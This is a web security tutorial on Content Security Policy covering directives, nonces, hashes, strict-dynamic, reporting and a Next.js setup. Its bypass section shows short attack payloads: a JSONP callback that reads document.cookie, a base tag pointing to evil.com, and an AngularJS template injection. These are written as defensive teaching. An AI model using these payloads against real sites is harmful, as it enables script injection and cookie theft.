Content Security Policy Deep Dive
The Security Header That Actually Works
Content Security Policy is the single most effective defense against XSS after proper output encoding. It's a response header that tells the browser: "Only load resources from these sources. Everything else — block it and tell me about it."
Most developers set a CSP once, copy-paste it from Stack Overflow, and never look at it again. That CSP is almost certainly bypassable. The difference between a real CSP and a theater CSP comes down to understanding the directive model, choosing the right enforcement strategy, and knowing which patterns attackers exploit.
Think of CSP as a building's security system. Without CSP, every door and window is unlocked — any script, style, or image can enter from anywhere. CSP lets you define rules: "scripts only through the main entrance with a badge (nonce), styles only from the east wing (specific domain), images from anywhere (wildcard)." Each directive is a rule for one type of resource. strict-dynamic is like saying "anyone who enters with a badge can invite others" — trust propagates from verified scripts to the scripts they load.
The Directive Model
CSP is a set of directives, each controlling a specific resource type. Here's every directive you need to know:
Fetch Directives (control resource loading)
Content-Security-Policy:
default-src 'self'; /* fallback for all fetch directives */
script-src 'self' 'nonce-abc123'; /* JavaScript */
style-src 'self' 'unsafe-inline'; /* CSS */
img-src 'self' data: https:; /* images */
font-src 'self' https://fonts.gstatic.com; /* fonts */
connect-src 'self' https://api.example.com; /* XHR, fetch, WebSocket */
media-src 'none'; /* audio, video */
object-src 'none'; /* plugins, Flash (always set to none) */
frame-src https://youtube.com; /* iframes */
child-src 'self'; /* web workers + iframes (deprecated for frames) */
worker-src 'self'; /* web workers specifically */
Document Directives
base-uri 'self'; /* restrict <base> element */
form-action 'self'; /* restrict form submission targets */
frame-ancestors 'none'; /* who can embed this page (replaces X-Frame-Options) */
Navigation Directives
navigate-to 'self'; /* restrict navigation targets */
Reporting
report-uri /csp-violation; /* where to send violation reports (deprecated) */
report-to csp-endpoint; /* newer reporting API */
Nonce-Based CSP: The Modern Standard
The recommended approach for script-src is nonce-based CSP. A nonce is a random, one-time value generated per response and embedded in both the CSP header and the script tags:
Server response header:
Content-Security-Policy: script-src 'nonce-k8jd92hf7s' 'strict-dynamic'
HTML:
<script nonce="k8jd92hf7s" src="/app.js"></script>
<script nonce="k8jd92hf7s">
console.log('Inline script allowed by nonce')
</script>
The nonce must be:
- Cryptographically random — at least 128 bits of entropy
- Unique per response — same nonce across responses means an attacker who finds one can reuse it
- Base64 encoded — the spec requires it
Why Nonces Beat Domain Allowlists
The old approach was domain-based:
script-src 'self' https://cdn.example.com https://analytics.example.com
This is weak because:
- Any script on
cdn.example.comcan execute — including JSONP endpoints or uploaded files - If
analytics.example.comhas any XSS or open redirect, the attacker inherits your trust - CDNs host millions of scripts — trusting the domain trusts them all
Research by Google found that 94.7% of domain-based CSPs are bypassable. Nonces eliminate this entire attack class.
strict-dynamic: Trust Propagation
strict-dynamic is the CSP Level 3 feature that makes nonce-based CSPs practical for real applications. Without it, you'd need to add a nonce to every dynamically created script — including those created by your bundler, analytics, and third-party SDKs.
With strict-dynamic, trust propagates: a script that has a valid nonce can dynamically load additional scripts without those needing their own nonces.
Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'
<script nonce="abc123">
// This script is trusted because it has the nonce
const s = document.createElement('script')
s.src = 'https://cdn.example.com/analytics.js'
document.body.appendChild(s)
// analytics.js loads successfully — trust propagated from the nonced script
</script>
How strict-dynamic Changes the Rules
When strict-dynamic is present:
- Domain allowlists in
script-srcare ignored (they're treated as fallbacks for older browsers) 'unsafe-inline'is also ignored (again, backward-compatible fallback)- Only nonced or hashed scripts are directly trusted
- Scripts created by trusted scripts via
createElementare allowed - Parser-inserted scripts (scripts in HTML markup without nonces) are blocked
This means your backward-compatible CSP can look like:
script-src 'nonce-abc123' 'strict-dynamic' 'unsafe-inline' https:
Modern browsers use the nonce + strict-dynamic. Older browsers that don't understand strict-dynamic fall back to 'unsafe-inline' https: — less secure but functional.
Parser-inserted vs non-parser-inserted scripts
This distinction is critical for understanding strict-dynamic:
Parser-inserted scripts are those found directly in the HTML source during parsing:
<script src="injected.js"></script> <!-- parser-inserted: BLOCKED by strict-dynamic -->Non-parser-inserted scripts are created by JavaScript at runtime:
const s = document.createElement('script')
s.src = 'dynamic.js'
document.body.appendChild(s) // non-parser-inserted: ALLOWED if parent is trustedstrict-dynamic blocks parser-inserted scripts without nonces but allows dynamically created scripts from trusted parents. This is the security model: if an attacker injects a script tag into your HTML (XSS), it's parser-inserted and gets blocked. But your legitimate application code (which has a nonce) can still load dependencies dynamically.
Hash-Based CSP: For Static Inline Scripts
If your inline scripts don't change between deployments, you can use hashes instead of nonces. The browser computes the hash of each inline script and compares it against the CSP:
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='
<script>console.log('hello')</script>
<!-- Browser hashes this script's content and checks against the CSP -->
Nonce vs Hash: When to Use Each
| Nonce | Hash | |
|---|---|---|
| Inline scripts change per-request | Yes (nonce changes each time) | No (hash changes with content) |
| External scripts | Add nonce attribute | Not applicable |
| Server-side rendering | Must inject nonce into HTML | Computed at build time |
| Static sites / CDN | Harder (need edge compute) | Easier (content is static) |
| Third-party scripts | Add nonce to their tags | Can't hash external scripts |
For most applications with server-side rendering, nonces are the right choice. For static sites deployed to a CDN without edge compute, hashes work better because there's no server to generate fresh nonces.
CSP Bypass Techniques (And How to Prevent Them)
Understanding how attackers bypass CSP makes you better at writing policy. These are the real-world bypass categories.
1. JSONP Endpoints on Trusted Domains
If your CSP trusts https://example.com and that domain has a JSONP endpoint:
https://example.com/api?callback=alert(document.cookie)//
The response is valid JavaScript that executes your payload. Prevention: use nonce-based CSP instead of domain allowlists.
2. Base Tag Injection
If base-uri is not restricted, an attacker can inject:
<base href="https://evil.com/">
Now every relative script URL loads from the attacker's server. Prevention: always include base-uri 'self' or base-uri 'none'.
3. Angular/Vue Template Injection on Trusted CDNs
If AngularJS is loaded from a trusted CDN, an attacker can inject Angular template expressions:
<div ng-app ng-csp>
{{ constructor.constructor('alert(1)')() }}
</div>
The CSP trusts the CDN, AngularJS is on the CDN, and Angular evaluates the template. Prevention: strict-dynamic with nonces, which blocks the CDN from being directly trusted.
4. Missing object-src
The object-src directive defaults to default-src if not set. If default-src allows 'self', an attacker can load a plugin (Flash SWF) from your own domain if they can upload one. Prevention: always set object-src 'none'.
Setting Up CSP Reporting
A CSP without reporting is flying blind. You'll never know about blocked resources or bypass attempts.
Report-Only Mode (Start Here)
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'nonce-abc' 'strict-dynamic'; report-uri /csp-report
Report-only mode logs violations without blocking anything. Deploy this first and monitor for a few weeks before enforcing.
Violation Report Format
The browser sends a JSON POST to your report URI:
{
"csp-report": {
"document-uri": "https://myapp.com/page",
"violated-directive": "script-src-elem",
"blocked-uri": "https://evil.com/malware.js",
"original-policy": "script-src 'nonce-abc' 'strict-dynamic'",
"disposition": "enforce",
"status-code": 200
}
}
Practical Reporting Strategy
- Deploy in report-only mode
- Collect reports for 2-4 weeks
- Filter out noise (browser extensions trigger many false positives)
- Fix legitimate violations (your own resources that need nonces)
- Switch to enforcement
- Keep report-uri active to catch regressions
Browser extensions inject scripts and styles that violate your CSP. You'll see violation reports for extensions you've never heard of. Filter these out by checking the blocked-uri — extension URLs start with chrome-extension://, moz-extension://, or similar prefixes. Don't weaken your CSP to accommodate extensions.
Production Scenario: CSP for a Next.js Application
Here's a production-ready CSP configuration for a Next.js application with analytics and a CDN:
const crypto = require('crypto')
function generateCSP(nonce) {
const directives = [
`default-src 'self'`,
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https:`,
`font-src 'self'`,
`connect-src 'self' https://api.example.com`,
`frame-src 'none'`,
`object-src 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
`frame-ancestors 'none'`,
`report-uri /api/csp-report`,
]
return directives.join('; ')
}
In Next.js middleware:
import { NextResponse } from 'next/server'
export function middleware(request) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const response = NextResponse.next()
response.headers.set(
'Content-Security-Policy',
generateCSP(nonce)
)
return response
}
| What developers do | What they should do |
|---|---|
| Using unsafe-inline for script-src because 'my inline scripts need it' unsafe-inline in script-src completely defeats CSP's XSS protection. Any injected script tag runs. Nonces let your legitimate inline scripts execute while blocking injected ones — that's the whole point of CSP. | Using nonces for inline scripts so you can remove unsafe-inline from script-src |
| Trusting CDN domains like cdn.jsdelivr.net in script-src CDNs host millions of scripts, including vulnerable libraries and JSONP endpoints. Trusting a CDN domain means trusting everything on it. strict-dynamic lets your nonced scripts load from CDNs without adding the CDN to the allowlist. | Using nonce-based CSP with strict-dynamic to avoid trusting entire domains |
| Forgetting object-src and base-uri directives Missing object-src falls back to default-src, potentially allowing plugin-based attacks. Missing base-uri allows base tag injection that redirects all relative URLs. Both are common bypass vectors that cost nothing to prevent. | Explicitly setting object-src to none and base-uri to self in every CSP |
Try to solve it before peeking at the answer.
Requirements:
- Static HTML pages served from a CDN (no server-side rendering)
- Uses Prism.js for syntax highlighting (loaded from your own domain)
- Has inline styles for code blocks generated at build time
- Loads Google Fonts
- No forms, no iframes, no plugins
- Must support an analytics script from analytics.example.com
- 1Use nonce-based CSP with strict-dynamic — domain allowlists are bypassable in over 94% of cases
- 2Always set object-src to none and base-uri to self — these are the most common forgotten bypass vectors
- 3Deploy in report-only mode first and monitor for 2-4 weeks before enforcing
- 4Filter browser extension violations from CSP reports — they are noise, not attacks
- 5Nonces must be cryptographically random and unique per response — predictable nonces are equivalent to no CSP
- 6strict-dynamic ignores domain allowlists in modern browsers — include them only as fallbacks for older browsers